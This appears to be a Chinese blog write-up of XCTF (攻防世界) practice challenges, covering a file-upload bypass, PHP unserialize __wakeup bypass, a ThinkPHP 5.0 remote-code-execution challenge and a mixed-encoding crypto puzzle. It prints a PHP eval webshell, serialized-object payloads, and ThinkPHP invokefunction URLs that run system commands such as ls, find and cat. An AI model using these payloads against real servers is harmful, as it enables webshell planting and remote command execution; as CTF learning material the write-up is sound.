upload1

说来惭愧,一星难度难到了我。打开题目场景,发现

发现提示上传文件,那应该就是文件上传漏洞了。直接一句话木马上传发现提示

然后打开网页源代码发现js代码验证文件类型

然后就修改文件后缀为jpg上传发现上传成功,用菜刀连接失败,是因为没有修改后缀的原因。这里有两种解题思路。
一、F12打开控制界面窗口,删除disabled即可上传成功.php文件。


上传成功。
这个题目很简单,直接给了上传路径。然后浏览器搜索路径,发现打开页面无异常。即可直接菜刀连接。

找到flag。
二、brupsuit抓包。
打开工具,进行抓包,把修改过后缀的一句话木马后缀改回来,然后放包。同样上传成功。

注意:一句话木马文件里的<?php @eval($_POST['pass']);?>中的POST括号里跟的什么,最后的菜刀连接密码就是什么。

Web_php_unserialize

打开题目场景发现是一段PHP代码,第一感觉应该是PHP代码审计。

<?php
class Demo { private $file = 'index.php';public function __construct($file) { $this->file = $file; }function __destruct() { echo @highlight_file($this->file, true); }function __wakeup() { if ($this->file != 'index.php') { //the secret is in the fl4g.php$this->file = 'index.php'; } }
}
if (isset($_GET['var'])) { $var = base64_decode($_GET['var']); if (preg_match('/[oc]:\d+:/i', $var)) { die('stop hacking!'); } else {@unserialize($var); }
} else { highlight_file("index.php");
}
?>

题目源代码。
然后就百度了一下代码段里的各个函数。总结了一下。

PHP __construct()函数:构造函数php中构造方法是对象创建完成后第一个被对象自动调用的方法。在每个类中都有一个构造方法,如果没有显示声明它,那么类中都会默认存在一个没有参数且内容为空的构造方法。通常构造方法被用来执行一些有用的初始化任务,如对成员属性在创建对象时赋予初始值。
PHP __destruct()函数:析构函数析构函数会在到某个对象的所有引用都被删除或者当对象被显式销毁时执行。
没有返回值,为了释放资源,一个类里面只有一个析构函数。
__wakeup()函数:用于PHP反序列里面。可以用正则匹配绕过。成员属性数目大于实际数目。正则匹配可以用+号来进行绕过。
isset()函数:检测变量是否被赋值,且不为空,若是返回true,否则返回false。
preg_match()函数:函数用于执行一个正则表达式匹配。匹配到返回true,否则返回false。

其实刚开始百度时没看懂,就仔细试验了两遍,才发现了析构函数的作用。这里推荐一个人的博客
发了一段代码,看了之后感觉就清楚了。
就自己修改了一下源代码,运行了一下,然后修改运行结果,base64编码,得到flag。

<?php
class Demo { private $file = 'index.php';public function __construct($file) { $this->file = $file; }function __destruct() { echo @highlight_file($this->file, true); }function __wakeup() { if ($this->file != 'index.php') { //the secret is in the fl4g.php$this->file = 'index.php'; } }
}
$str=new Demo("fl4g.php");
echo serialize($str);?>

运行代码得到O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";},修改后:O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";},base64编码后:TzorNDoiRGVtbyI6Mjp7czoxMDoiIERlbW8gZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
所以,在搜索框用get 方式输入?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiIERlbW8gZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
之后得到flag。

PHP_rec

打开题目发现样式没接触过,又是一个新的题型。get了。

习惯性F12,发现并没有发现什么。之后就请求了我万能的师傅,度娘,发现了一个名叫**rec**漏洞的玩意儿。
然后这里还有一个大佬写的关于这个题目的做题方法,两者结合就搞懂了七七八八。
看了大佬博客后也是懂了一点,但是由于当时事件原因,就没有自己尝试着去一步一步了解。
所以就得到了一个payload http://localhost/thinkphp_5.0.21/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id http://localhost/thinkphp_5.0.21/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
然后知道是在虚拟机上运行的。所以就用?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
发现可以正常运行。

接着就用ls 命令查看目录。?s=index/\think\App/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls
得到
接着一级一级查找上级目录。?s=index/\think\App/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls ../../../一个一个尝试出来的。
发现了名为flag的文件名。

然后就查找和flag有关的文件名字。?s=index/\think\App/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=find / -name "flag"
得到

然后用cat 命令查看目标文件的内容?s=index/\think\App/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat /flag
得到

flag出来了。nice,get到了没?

unserialize3

打开题目,发现了反序列化。__wakeup()。

修改一下代码。

<?php
class xctf{public $flag = '111';
}
$x= serialize(new xctf);
echo $x;
?>

运行得到O:4:"xctf":1:{s:4:"flag";s:3:"111";}
修改后得O:4:"xctf":2:{s:5:"flag";s:3:"111";}
然后get方式获取flag。
据提示,get code变量http://220.249.52.133:42025/?code=O:4:"xctf":2:{s:5:"flag";s:3:"111";}
得到flag。

加题 crypto

新手篇 混合编码

打开之后下载附件,发现是base64编码。转换一下:

然后试Unicode解码。

接着又是一次base64:

然后ASCII转换字符得到flag。welcometoattackanddefenceworld

web攻防世界进阶篇相关推荐

  1. 攻防世界进阶upload

    攻防世界进阶upload 注册登陆后,发现上传页面 试着上传一个文件3.php: 内容如下: <?php eval(@$_POST['a']); ?> 我们试着将它改个名字抓包,并且改为j ...

  2. 攻防世界(pwn篇)---CGfsb

    攻防世界(pwn篇)-CGfsb 文章目录 攻防世界(pwn篇)---CGfsb 题目描述 基本情况分析 运行分析 IDA 分析 格式化字符串漏洞 分析出payload 找一下 s 的偏移量 再看一看 ...

  3. 攻防世界(解密篇Crypto)---混合编码

    攻防世界-混合编码 文章目录 攻防世界---混合编码 题目 题解 总结 题目 JiM3NjsmIzEyMjsmIzY5OyYjMTIwOyYjNzk7JiM4MzsmIzU2OyYjMTIwOyYjN ...

  4. 【愚公系列】2021年11月 攻防世界-进阶题-MISC-025(Miscellaneous-200)

    文章目录 一.Miscellaneous-200 二.答题步骤 1.python 总结 一.Miscellaneous-200 文件:攻防世界下载对应文件 二.答题步骤 1.python 下载附件得到 ...

  5. 【愚公系列】2021年11月 攻防世界-进阶题-MISC-030(red_green)

    文章目录 一.red_green 二.答题步骤 1.zsteg 总结 一.red_green 文件:攻防世界下载对应文件 二.答题步骤 1.zsteg 下载得到一张图片 解法一:pytho脚本 #生成 ...

  6. 【愚公系列】2021年11月 攻防世界-进阶题-MISC-032(就在其中)

    文章目录 一.就在其中 二.答题步骤 1.ssl 总结 一.就在其中 文件:攻防世界下载对应文件 二.答题步骤 1.ssl 下载附件得到流量包,使用 binwalk 查看文件中有些什么,发现一个 ke ...

  7. 攻防世界(杂项篇MISC)---base64stego

    攻防世界-base64stego 文章目录 攻防世界---base64stego 题目 用的的知识 base64 base64编码实现 base64解码实现 总结 伪加密 无加密 真加密 base64 ...

  8. 【愚公系列】2021年11月 攻防世界-进阶题-MISC-007(Aesop_secret)

    文章目录 一.Aesop_secret 二.答题步骤 1.stegsolve 2.AES解密 总结 一.Aesop_secret 文件:攻防世界下载对应文件 二.答题步骤 1.stegsolve 使用 ...

  9. 攻防世界crypto篇

    攻防世界 crypto 1.base64 根据题目提示用base64的方式解密即可得到flag cyberpeace{Welcome_to_new_World!} 2.Caeser 根据题目标题提示密 ...

最新文章

  1. 增加行星轮减速后机械臂调试
  2. mysql 不同的文件系统_文件系统,数据库管理系统,操作系统之间有什么联系?...
  3. android去除标题栏
  4. Unicode 子集 数量统计
  5. 五年高考三年模拟暗部软件库_小老弟,你的《五年高考三年模拟》掉高速上了……...
  6. 记录红米k40解BL、Root、装XPOSED
  7. 【转】微波射频工程师必读经典参考书
  8. 把桌面路径改到D盘,忘记新建文件夹,D盘所有文件跑到桌面怎么办?
  9. 【解决办法】ES文件浏览器无法播放该链接
  10. 表单中多个文本框实时计算金钱总和值
  11. AndroidStudio输入生日计算星座
  12. python自定义函数实例计算1-n的偶偶数和_Python入门--11--自定义函数
  13. HTTP网络连接相关知识整理(三):网络错误异常
  14. HashMap,ArrayMap,SparseArray 源码角度分析,Android中的数据结构你该如何去选择?
  15. c51语言c100错误,KEIL C51错误的解决办法
  16. Java——你知道long和Long有什么区别吗?
  17. php 上标和下标,css如何显示文字的上标和下标
  18. 二叉树层序遍历(宽度优先遍历bfs--队列)
  19. MATLAB语言入门的第一步
  20. 编写程序,从键盘接收一个字符串,对字符串中的字母进行大小写互转(大写字母转成小写,小写字母转成大写)。

热门文章

  1. 斜抛运动的最大水平射程
  2. CSS3 使用技巧:纯 CSS3 实现黑白图像效果
  3. 世界这么大,你该去看看
  4. 火狐浏览器打不开的修复方法和原因
  5. whoosh mysql_Writer.add_文档()函数错误Whoosh mysql循环
  6. Launchy使用指导
  7. 2018年计算机配件涨价,电脑内存条终于不会再涨价了!2018年DRAM颗粒或将增产22%...
  8. (六)音视频 MediaCodec使用遇到的问题
  9. spark企业经典案例之手机app流量统计
  10. 一致性hash算法-hash环-数据倾斜